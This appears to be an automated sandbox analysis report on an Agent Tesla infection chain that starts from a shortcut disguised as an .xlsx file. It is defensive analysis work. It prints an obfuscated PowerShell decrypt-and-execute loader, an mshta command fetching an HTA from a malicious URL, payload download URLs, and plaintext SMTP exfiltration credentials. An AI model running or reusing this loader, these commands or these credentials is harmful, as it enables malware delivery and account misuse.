Author: Michael Haag: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop $OsFNkdw = 'AAAAAAAAAAAAAAAAAAAAAOeGa50V5wUO7zHydkcFZbJINq4P3H3RMsqOZX56v9Ct1bZUtRZkWxrChczJINV9leAt1ry1WLWkiFuSzfzQFE/yWmqaDZXsneytUPY+5le4m5eM4W+YWzERSnn/urcy8+ZTG58q1h/+BzdOb3w2O1z7QWzthSNzGxOWWNyV7TmYXZCKVR/W4Wq5ilvQCut+dsc1oHeaxo3nDd5I7/VZnRBIlxsN6HcNAACtlxfRiNFMSkDcN8+7W2lqhnFd5fXX+lgvrRG0ld6mdkV9WDBX6QjfiDRmhCmcLWUj1Bf5MNMwFNO28V0dG8tS2l8mIOdvR6aZF2v7aj+0KYrMlbdDhYWFi7OKVRA/3XZLlb5bbQDQE0oOT0JAi3+7gTkWesgJWCHgEueWTWqAMCB6A7qRzrsbpayqU/WAl9/nKC9cB9JhUjr2ITV9Ek3kErAD+eAPojoNd7bQuKjVE9tLoDwyPKo7YLWXTQF8wgZm0Ja3MfKMwkGLjtfBjT7ucygj4kLX/Zk01swB2YhhmuTYGe58LHZYGFngyyCQTKG4k9tN5i5bStEsFZehOTKeivaD+CKVo0hL0r5uz5GQB2ew8dGCUwkPmeXZvkk4B1gaPU3SmBdkVfrvuhGsjc5t6HhSZTvvp6Jz9v2fJj6ahm37dhgqwqsOIhz9dfUsra5c/+Avs0Ho38MGy4FjkP6OU6wM3P9BykwtvTRUlAfl604CotxxEOc6gE6TRnaarDiD6zmwY1sYkKEtTlG2JS0b7n2FWA1GsA==';$JIfveZK = 'cFRkUGZlWWl4R2ZHdlp1WlRocFlZR3RFVUtmamhETUc=';$UGIWRBAh = New-Object 'System.Security.Cryptography.AesManaged';$UGIWRBAh.Mode = [System.Security.Cryptography.CipherMode]::ECB;$UGIWRBAh.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$UGIWRBAh.BlockSize = 128;$UGIWRBAh.KeySize = 256;$UGIWRBAh.Key = [System.Convert]::FromBase64String($JIfveZK);$VpSlE = [System.Convert]::FromBase64String($OsFNkdw);$uBmStTPL = $VpSlE[0..15];$UGIWRBAh.IV = $uBmStTPL;$cLYZAvcnc = $UGIWRBAh.CreateDecryptor();$eVtPpVFwq = $cLYZAvcnc.TransformFinalBlock($VpSlE, 16, $VpSlE.Length - 16);$UGIWRBAh.Dispose();$DaRjcu = New-Object System.IO.MemoryStream( , $eVtPpVFwq );$wDjFzJY = New-Object System.IO.MemoryStream;$MtMSBjEhy = New-Object System.IO.Compression.GzipStream $DaRjcu, ([IO.Compression.CompressionMode]::Decompress);$MtMSBjEhy.CopyTo( $wDjFzJY );$MtMSBjEhy.Close();$DaRjcu.Close();[byte[]] $dVtmfGSE = $wDjFzJY.ToArray();$ghWDGW = [System.Text.Encoding]::UTF8.GetString($dVtmfGSE);$ghWDGW | powershell -, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop $OsFNkdw = 'AAAAAAAAAAAAAAAAAAAAAOeGa50V5wUO7zHydkcFZbJINq4P3H3RMsqOZX56v9Ct1bZUtRZkWxrChczJINV9leAt1ry1WLWkiFuSzfzQFE/yWmqaDZXsneytUPY+5le4m5eM4W+YWzERSnn/urcy8+ZTG58q1h/+BzdOb3w2O1z7QWzthSNzGxOWWNyV7TmYXZCKVR/W4Wq5ilvQCut+dsc1oHeaxo3nDd5I7/VZnRBIlxsN6HcNAACtlxfRiNFMSkDcN8+7W2lqhnFd5fXX+lgvrRG0ld6mdkV9WDBX6QjfiDRmhCmcLWUj1Bf5MNMwFNO28V0dG8tS2l8mIOdvR6aZF2v7aj+0KYrMlbdDhYWFi7OKVRA/3XZLlb5bbQDQE0oOT0JAi3+7gTkWesgJWCHgEueWTWqAMCB6A7qRzrsbpayqU/WAl9/nKC9cB9JhUjr2ITV9Ek3kErAD+eAPojoNd7bQuKjVE9tLoDwyPKo7YLWXTQF8wgZm0Ja3MfKMwkGLjtfBjT7ucygj4kLX/Zk01swB2YhhmuTYGe58LHZYGFngyyCQTKG4k9tN5i5bStEsFZehOTKeivaD+CKVo0hL0r5uz5GQB2ew8dGCUwkPmeXZvkk4B1gaPU3SmBdkVfrvuhGsjc5t6HhSZTvvp6Jz9v2fJj6ahm37dhgqwqsOIhz9dfUsra5c/+Avs0Ho38MGy4FjkP6OU6wM3P9BykwtvTRUlAfl604CotxxEOc6gE6TRnaarDiD6zmwY1sYkKEtTlG2JS0b7n2FWA1GsA==';$JIfveZK = 'cFRkUGZlWWl4R2ZHdlp1WlRocFlZR3RFVUtmamhETUc=';$UGIWRBAh = New-Object 'System.Security.Cryptography.AesManaged';$UGIWRBAh.Mode = [System.Security.Cryptography

Sigma detected: Suspicious Program Location with Network Connections

Source: Network Connection

Author: Florian Roth (Nextron Systems), Tim Shelton: Data: DestinationIp: 192.185.124.132, DestinationIsIpv6: false, DestinationPort: 587, EventID: 3, Image: C:\Users\Public\Libraries\bwsiuvcU.pif, Initiated: true, ProcessId: 6340, Protocol: tcp, SourceIp: 192.168.2.7, SourceIsIpv6: false, SourcePort: 49721

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop $OsFNkdw = 'AAAAAAAAAAAAAAAAAAAAAOeGa50V5wUO7zHydkcFZbJINq4P3H3RMsqOZX56v9Ct1bZUtRZkWxrChczJINV9leAt1ry1WLWkiFuSzfzQFE/yWmqaDZXsneytUPY+5le4m5eM4W+YWzERSnn/urcy8+ZTG58q1h/+BzdOb3w2O1z7QWzthSNzGxOWWNyV7TmYXZCKVR/W4Wq5ilvQCut+dsc1oHeaxo3nDd5I7/VZnRBIlxsN6HcNAACtlxfRiNFMSkDcN8+7W2lqhnFd5fXX+lgvrRG0ld6mdkV9WDBX6QjfiDRmhCmcLWUj1Bf5MNMwFNO28V0dG8tS2l8mIOdvR6aZF2v7aj+0KYrMlbdDhYWFi7OKVRA/3XZLlb5bbQDQE0oOT0JAi3+7gTkWesgJWCHgEueWTWqAMCB6A7qRzrsbpayqU/WAl9/nKC9cB9JhUjr2ITV9Ek3kErAD+eAPojoNd7bQuKjVE9tLoDwyPKo7YLWXTQF8wgZm0Ja3MfKMwkGLjtfBjT7ucygj4kLX/Zk01swB2YhhmuTYGe58LHZYGFngyyCQTKG4k9tN5i5bStEsFZehOTKeivaD+CKVo0hL0r5uz5GQB2ew8dGCUwkPmeXZvkk4B1gaPU3SmBdkVfrvuhGsjc5t6HhSZTvvp6Jz9v2fJj6ahm37dhgqwqsOIhz9dfUsra5c/+Avs0Ho38MGy4FjkP6OU6wM3P9BykwtvTRUlAfl604CotxxEOc6gE6TRnaarDiD6zmwY1sYkKEtTlG2JS0b7n2FWA1GsA==';$JIfveZK = 'cFRkUGZlWWl4R2ZHdlp1WlRocFlZR3RFVUtmamhETUc=';$UGIWRBAh = New-Object 'System.Security.Cryptography.AesManaged';$UGIWRBAh.Mode = [System.Security.Cryptography.CipherMode]::ECB;$UGIWRBAh.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$UGIWRBAh.BlockSize = 128;$UGIWRBAh.KeySize = 256;$UGIWRBAh.Key = [System.Convert]::FromBase64String($JIfveZK);$VpSlE = [System.Convert]::FromBase64String($OsFNkdw);$uBmStTPL = $VpSlE[0..15];$UGIWRBAh.IV = $uBmStTPL;$cLYZAvcnc = $UGIWRBAh.CreateDecryptor();$eVtPpVFwq = $cLYZAvcnc.TransformFinalBlock($VpSlE, 16, $VpSlE.Length - 16);$UGIWRBAh.Dispose();$DaRjcu = New-Object System.IO.MemoryStream( , $eVtPpVFwq );$wDjFzJY = New-Object System.IO.MemoryStream;$MtMSBjEhy = New-Object System.IO.Compression.GzipStream $DaRjcu, ([IO.Compression.CompressionMode]::Decompress);$MtMSBjEhy.CopyTo( $wDjFzJY );$MtMSBjEhy.Close();$DaRjcu.Close();[byte[]] $dVtmfGSE = $wDjFzJY.ToArray();$ghWDGW = [System.Text.Encoding]::UTF8.GetString($dVtmfGSE);$ghWDGW | powershell -, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop $OsFNkdw = 'AAAAAAAAAAAAAAAAAAAAAOeGa50V5wUO7zHydkcFZbJINq4P3H3RMsqOZX56v9Ct1bZUtRZkWxrChczJINV9leAt1ry1WLWkiFuSzfzQFE/yWmqaDZXsneytUPY+5le4m5eM4W+YWzERSnn/urcy8+ZTG58q1h/+BzdOb3w2O1z7QWzthSNzGxOWWNyV7TmYXZCKVR/W4Wq5ilvQCut+dsc1oHeaxo3nDd5I7/VZnRBIlxsN6HcNAACtlxfRiNFMSkDcN8+7W2lqhnFd5fXX+lgvrRG0ld6mdkV9WDBX6QjfiDRmhCmcLWUj1Bf5MNMwFNO28V0dG8tS2l8mIOdvR6aZF2v7aj+0KYrMlbdDhYWFi7OKVRA/3XZLlb5bbQDQE0oOT0JAi3+7gTkWesgJWCHgEueWTWqAMCB6A7qRzrsbpayqU/WAl9/nKC9cB9JhUjr2ITV9Ek3kErAD+eAPojoNd7bQuKjVE9tLoDwyPKo7YLWXTQF8wgZm0Ja3MfKMwkGLjtfBjT7ucygj4kLX/Zk01swB2YhhmuTYGe58LHZYGFngyyCQTKG4k9tN5i5bStEsFZehOTKeivaD+CKVo0hL0r5uz5GQB2ew8dGCUwkPmeXZvkk4B1gaPU3SmBdkVfrvuhGsjc5t6HhSZTvvp6Jz9v2fJj6ahm37dhgqwqsOIhz9dfUsra5c/+Avs0Ho38MGy4FjkP6OU6wM3P9BykwtvTRUlAfl604CotxxEOc6gE6TRnaarDiD6zmwY1sYkKEtTlG2JS0b7n2FWA1GsA==';$JIfveZK = 'cFRkUGZlWWl4R2ZHdlp1WlRocFlZR3RFVUtmamhETUc=';$UGIWRBAh = New-Object 'System.Security.Cryptography.AesManaged';$UGIWRBAh.Mode = [System.Security.Cryptography

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\Public\Ucvuiswb.url, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Roaming\uc.exe, ProcessId: 8080, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Ucvuiswb

Sigma detected: Execution of Suspicious File Type Extension

Source: Process started

Author: Max Altgelt (Nextron Systems): Data: Command: C:\Users\Public\Libraries\bwsiuvcU.pif, CommandLine: C:\Users\Public\Libraries\bwsiuvcU.pif, CommandLine|base64offset|contains: , Image: C:\Users\Public\Libraries\bwsiuvcU.pif, NewProcessName: C:\Users\Public\Libraries\bwsiuvcU.pif, OriginalFileName: C:\Users\Public\Libraries\bwsiuvcU.pif, ParentCommandLine: "C:\Users\user\AppData\Roaming\uc.exe" , ParentImage: C:\Users\user\AppData\Roaming\uc.exe, ParentProcessId: 8080, ParentProcessName: uc.exe, ProcessCommandLine: C:\Users\Public\Libraries\bwsiuvcU.pif, ProcessId: 6340, ProcessName: bwsiuvcU.pif

Sigma detected: Gzip Archive Decode Via PowerShell

Source: Process started

Author: Hieu Tran: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop $OsFNkdw = 'AAAAAAAAAAAAAAAAAAAAAOeGa50V5wUO7zHydkcFZbJINq4P3H3RMsqOZX56v9Ct1bZUtRZkWxrChczJINV9leAt1ry1WLWkiFuSzfzQFE/yWmqaDZXsneytUPY+5le4m5eM4W+YWzERSnn/urcy8+ZTG58q1h/+BzdOb3w2O1z7QWzthSNzGxOWWNyV7TmYXZCKVR/W4Wq5ilvQCut+dsc1oHeaxo3nDd5I7/VZnRBIlxsN6HcNAACtlxfRiNFMSkDcN8+7W2lqhnFd5fXX+lgvrRG0ld6mdkV9WDBX6QjfiDRmhCmcLWUj1Bf5MNMwFNO28V0dG8tS2l8mIOdvR6aZF2v7aj+0KYrMlbdDhYWFi7OKVRA/3XZLlb5bbQDQE0oOT0JAi3+7gTkWesgJWCHgEueWTWqAMCB6A7qRzrsbpayqU/WAl9/nKC9cB9JhUjr2ITV9Ek3kErAD+eAPojoNd7bQuKjVE9tLoDwyPKo7YLWXTQF8wgZm0Ja3MfKMwkGLjtfBjT7ucygj4kLX/Zk01swB2YhhmuTYGe58LHZYGFngyyCQTKG4k9tN5i5bStEsFZehOTKeivaD+CKVo0hL0r5uz5GQB2ew8dGCUwkPmeXZvkk4B1gaPU3SmBdkVfrvuhGsjc5t6HhSZTvvp6Jz9v2fJj6ahm37dhgqwqsOIhz9dfUsra5c/+Avs0Ho38MGy4FjkP6OU6wM3P9BykwtvTRUlAfl604CotxxEOc6gE6TRnaarDiD6zmwY1sYkKEtTlG2JS0b7n2FWA1GsA==';$JIfveZK = 'cFRkUGZlWWl4R2ZHdlp1WlRocFlZR3RFVUtmamhETUc=';$UGIWRBAh = New-Object 'System.Security.Cryptography.AesManaged';$UGIWRBAh.Mode = [System.Security.Cryptography.CipherMode]::ECB;$UGIWRBAh.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$UGIWRBAh.BlockSize = 128;$UGIWRBAh.KeySize = 256;$UGIWRBAh.Key = [System.Convert]::FromBase64String($JIfveZK);$VpSlE = [System.Convert]::FromBase64String($OsFNkdw);$uBmStTPL = $VpSlE[0..15];$UGIWRBAh.IV = $uBmStTPL;$cLYZAvcnc = $UGIWRBAh.CreateDecryptor();$eVtPpVFwq = $cLYZAvcnc.TransformFinalBlock($VpSlE, 16, $VpSlE.Length - 16);$UGIWRBAh.Dispose();$DaRjcu = New-Object System.IO.MemoryStream( , $eVtPpVFwq );$wDjFzJY = New-Object System.IO.MemoryStream;$MtMSBjEhy = New-Object System.IO.Compression.GzipStream $DaRjcu, ([IO.Compression.CompressionMode]::Decompress);$MtMSBjEhy.CopyTo( $wDjFzJY );$MtMSBjEhy.Close();$DaRjcu.Close();[byte[]] $dVtmfGSE = $wDjFzJY.ToArray();$ghWDGW = [System.Text.Encoding]::UTF8.GetString($dVtmfGSE);$ghWDGW | powershell -, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop $OsFNkdw = 'AAAAAAAAAAAAAAAAAAAAAOeGa50V5wUO7zHydkcFZbJINq4P3H3RMsqOZX56v9Ct1bZUtRZkWxrChczJINV9leAt1ry1WLWkiFuSzfzQFE/yWmqaDZXsneytUPY+5le4m5eM4W+YWzERSnn/urcy8+ZTG58q1h/+BzdOb3w2O1z7QWzthSNzGxOWWNyV7TmYXZCKVR/W4Wq5ilvQCut+dsc1oHeaxo3nDd5I7/VZnRBIlxsN6HcNAACtlxfRiNFMSkDcN8+7W2lqhnFd5fXX+lgvrRG0ld6mdkV9WDBX6QjfiDRmhCmcLWUj1Bf5MNMwFNO28V0dG8tS2l8mIOdvR6aZF2v7aj+0KYrMlbdDhYWFi7OKVRA/3XZLlb5bbQDQE0oOT0JAi3+7gTkWesgJWCHgEueWTWqAMCB6A7qRzrsbpayqU/WAl9/nKC9cB9JhUjr2ITV9Ek3kErAD+eAPojoNd7bQuKjVE9tLoDwyPKo7YLWXTQF8wgZm0Ja3MfKMwkGLjtfBjT7ucygj4kLX/Zk01swB2YhhmuTYGe58LHZYGFngyyCQTKG4k9tN5i5bStEsFZehOTKeivaD+CKVo0hL0r5uz5GQB2ew8dGCUwkPmeXZvkk4B1gaPU3SmBdkVfrvuhGsjc5t6HhSZTvvp6Jz9v2fJj6ahm37dhgqwqsOIhz9dfUsra5c/+Avs0Ho38MGy4FjkP6OU6wM3P9BykwtvTRUlAfl604CotxxEOc6gE6TRnaarDiD6zmwY1sYkKEtTlG2JS0b7n2FWA1GsA==';$JIfveZK = 'cFRkUGZlWWl4R2ZHdlp1WlRocFlZR3RFVUtmamhETUc=';$UGIWRBAh = New-Object 'System.Security.Cryptography.AesManaged';$UGIWRBAh.Mode = [System.Security.Cryptography

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Source: File created

Author: frack113, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 7800, TargetFilename: C:\Users\user\AppData\Roaming\uc.exe

Sigma detected: Suspicious Outbound SMTP Connections

Source: Network Connection

Author: frack113: Data: DestinationIp: 192.185.124.132, DestinationIsIpv6: false, DestinationPort: 587, EventID: 3, Image: C:\Users\Public\Libraries\bwsiuvcU.pif, Initiated: true, ProcessId: 6340, Protocol: tcp, SourceIp: 192.168.2.7, SourceIsIpv6: false, SourcePort: 49721

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" .(gp -pa 'HKLM:\SOF*\Clas*\Applications\msh*e').('PSChildName')https://www.sessosesso.it/assets/aw/yt.hta, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" .(gp -pa 'HKLM:\SOF*\Clas*\Applications\msh*e').('PSChildName')https://www.sessosesso.it/assets/aw/yt.hta, CommandLine|base64offset|contains: , Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4056, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" .(gp -pa 'HKLM:\SOF*\Clas*\Applications\msh*e').('PSChildName')https://www.sessosesso.it/assets/aw/yt.hta, ProcessId: 5632, ProcessName: powershell.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 624, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7612, ProcessName: svchost.exe

Snort Signatures

⊘No Snort rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: FT. 40FE CNY .xlsx.lnk

Avira: detected

Antivirus detection for URL or domain

Source: http://pesterbdd.com/images/Pester.png	URL Reputation: Label: malware
Source: https://www.sessosesso.it/assets/aw/uc.exe	Avira URL Cloud: Label: malware

Found malware configuration

Source: cmd.exe.5360.20.memstrmin

Malware Configuration Extractor: Agenttesla {"Exfil Mode": "SMTP", "Host": "mail.irmaklarpaslanmaz.com.trB", "Username": "muhasebe@irmaklarpaslanmaz.com.tr", "Password": "MH5473588PmZ&"}

Multi AV Scanner detection for dropped file

Source: C:\Users\Public\Libraries\Ucvuiswb.PIF	ReversingLabs: Detection: 58%
Source: C:\Users\Public\Libraries\Ucvuiswb.PIF	Virustotal: Detection: 38%	Perma Link
Source: C:\Users\Public\Libraries\netutils.dll	ReversingLabs: Detection: 28%
Source: C:\Users\Public\Libraries\netutils.dll	Virustotal: Detection: 47%	Perma Link
Source: C:\Users\user\AppData\Roaming\uc.exe	ReversingLabs: Detection: 58%
Source: C:\Users\user\AppData\Roaming\uc.exe	Virustotal: Detection: 38%	Perma Link

Multi AV Scanner detection for submitted file

Source: FT. 40FE CNY .xlsx.lnk	ReversingLabs: Detection: 31%
Source: FT. 40FE CNY .xlsx.lnk	Virustotal: Detection: 24%			Perma Link

Machine Learning detection for dropped file

Source: C:\Users\Public\Libraries\Ucvuiswb.PIF	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Roaming\uc.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: FT. 40FE CNY .xlsx.lnk

Joe Sandbox ML: detected

Compliance

Detected unpacking (overwrites its own PE header)

Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Unpacked PE file: 23.2.bwsiuvcU.pif.400000.0.unpack
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Unpacked PE file: 25.2.bwsiuvcU.pif.400000.0.unpack
Source: C:\Users\Public\Libraries\bwsiuvcU.pif	Unpacked PE file: 27.2.bwsiuvcU.pif.400000.0.unpack

Source: unknown	HTTPS traffic detected: 89.46.106.29:443 -> 192.168.2.7:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 89.46.106.29:443 -> 192.168.2.7:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 89.46.106.29:443 -> 192.168.2.7:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 89.46.106.29:443 -> 192.168.2.7:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.139.11:443 -> 192.168.2.7:49716 version: TLS 1.2

Source:	Binary string: calc.pdbGCTL source: mshta.exe, 00000009.00000003.1852414679.0000019AC1771000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000009.00000003.1855006902.000001A2C46D0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000009.00000003.1852363981.000001A2C46CF000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000009.00000002.1863703689.0000019AC1772000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000009.00000003.1852558870.000001A2C46E1000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000009.00000003.1852439079.000001A2C46DD000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000009.00000003.1851615477.000001A2C4722000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000009.00000003.1852067245.000001A2C4393000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000009.00000002.1865516494.000001A2C46F0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000009.00000003.1852507533.000001A2C4710000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000009.00000003.1852261324.000001A2C46D5000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000009.00000003.1852234112.000001A2C438F000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000009.00000003.1852117667.0000019AC1757000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000009.00000003.1851691454.000001A2C438D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000009.00000003.1853065476.000001A2C46E5000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000009.00000002.1865380060.000001A2C46D1000.00000004.00000020.00020000.00000000.sdmp, yt[1].hta.9.dr
Source:	Binary string: PSReadline.pdbaK source: powershell.exe, 00000011.00000002.1635136687.0000029E326E4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: E:\Adlice\Truesight\x64\Release\truesight.pdb source: uc.exe, 00000013.00000002.1522999509.000000007F110000.00000004.00001000.00020000.00000000.sdmp, uc.exe, 00000013.00000003.1484341783.000000007EB60000.00000004.00001000.00020000.00000000.sdmp, uc.exe, 00000013.00000003.1485374798.000000007F0C0000.00000004.00001000.00020000.00000000.sdmp, uc.exe, 00000013.00000002.1500694013.00000000024E0000.00000004.00001000.00020000.00000000.sdmp, Ucvuiswb.PIF, 00000018.00000002.1651090812.0000000013BAF000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: mscorlib.pdb source: powershell.exe, 00000011.00000002.1629294581.0000029E323A0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: easinvoker.pdb source: uc.exe, 00000013.00000002.1522999509.000000007F110000.00000004.00001000.00020000.00000000.sdmp, uc.exe, 00000013.00000003.1484341783.000000007EB60000.00000004.00001000.00020000.00000000.sdmp, uc.exe, 00000013.00000002.1500694013.00000000024E0000.00000004.00001000.00020000.00000000.sdmp, Ucvuiswb.PIF, 00000018.00000002.1651090812.0000000013BAF000.00000004.00001000.00020000.00000000.sdmp, easinvoker.exe.19.dr
Source:	Binary string: _.pdb source: bwsiuvcU.pif, 00000017.00000002.1680345757.000000003DA95000.00000004.00000020.00020000.00000000.sdmp, bwsiuvcU.pif, 00000017.00000003.1516343993.000000003BDC9000.00000004.00000020.00020000.00000000.sdmp, bwsiuvcU.pif, 00000017.00000002.1681909755.0000000040260000.00000004.08000000.00040000.00000000.sdmp, bwsiuvcU.pif, 00000017.00000002.1681582310.000000003EDE1000.00000004.00000800.00020000.00000000.sdmp, bwsiuvcU.pif, 00000019.00000002.1787983024.0000000025D95000.00000004.00000020.00020000.00000000.sdmp, bwsiuvcU.pif, 00000019.00000002.1791650361.00000000284A0000.00000004.08000000.00040000.00000000.sdmp, bwsiuvcU.pif, 00000019.00000003.1634916828.0000000023FF4000.00000004.00000020.00020000.00000000.sdmp, bwsiuvcU.pif, 00000019.00000002.1790805820.0000000026F71000.00000004.00000800.00020000.00000000.sdmp, bwsiuvcU.pif, 0000001B.00000002.2555827704.0000000040350000.00000004.08000000.00040000.00000000.sdmp, bwsiuvcU.pif, 0000001B.00000003.1719620200.000000003BD8F000.00000004.00000020.00020000.00000000.sdmp, bwsiuvcU.pif, 0000001B.00000002.2554498447.000000003DA65000.00000004.00000020.00020000.00000000.sdmp, bwsiuvcU.pif, 0000001B.00000002.2555544877.000000003ED31000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: calc.pdb source: mshta.exe, 00000009.00000003.1852414679.0000019AC1771000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000009.00000003.1855006902.000001A2C46D0000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000009.00000003.1852363981.000001A2C46CF000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000009.00000002.1863703689.0000019AC1772000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000009.00000003.1852067245.000001A2C4393000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000009.00000003.1852117667.0000019AC1757000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000009.00000003.1851691454.000001A2C438D000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000009.00000002.1865380060.000001A2C46D1000.00000004.00000020.00020000.00000000.sdmp, yt[1].hta.9.dr
Source:	Binary string: easinvoker.pdbH source: uc.exe, 00000013.00000002.1522999509.000000007F110000.00000004.00001000.00020000.00000000.sdmp, uc.exe, 00000013.00000003.1484341783.000000007EB60000.00000004.00001000.00020000.00000000.sdmp, uc.exe, 00000013.00000002.1514685918.0000000014B20000.00000004.00000020.00020000.00000000.sdmp, uc.exe, 00000013.00000002.1500694013.00000000024E0000.00000004.00001000.00020000.00000000.sdmp, Ucvuiswb.PIF, 00000018.00000002.1651090812.0000000013BAF000.00000004.00001000.00020000.00000000.sdmp, easinvoker.exe.19.dr
Source:	Binary string: owershell.PSReadline.pdb source: powershell.exe, 00000011.00000002.1629294581.0000029E32432000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Users\user\AppData\Roaming\uc.exe

Code function: 19_2_029858CC GetModuleHandleA,GetProcAddress,lstrcpynA,lstrcpynA,lstrcpynA,FindFirstFileA,FindClose,lstrlenA,lstrcpynA,lstrlenA,lstrcpynA,

19_2_029858CC

Source: C:\Users\user\AppData\Roaming\uc.exe

Code function: 19_2_0299C8AC InternetCheckConnectionA,

19_2_0299C8AC

Source: global traffic	HTTP traffic detected: GET /assets/aw/Book1.xlsx HTTP/1.1Host: sessosesso.itConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /assets/aw/uc.exe HTTP/1.1Host: www.sessosesso.itConnection: Keep-Alive

Source: Joe Sandbox View

IP Address: 13.107.139.11 13.107.139.11

Source: Joe Sandbox View	ASN Name: UNIFIEDLAYER-AS-1US UNIFIEDLAYER-AS-1US
Source: Joe Sandbox View	ASN Name: ARUBA-ASNIT ARUBA-ASNIT

Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: global traffic	HTTP traffic detected: GET /assets/aw/yt.hta HTTP/1.1Accept: /Accept-Language: en-CHUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: www.sessosesso.itConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /download?resid=849ABDB14CA5CEC3%21220&authkey=!AGW69_d3Nli6r4Y HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: onedrive.live.com

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

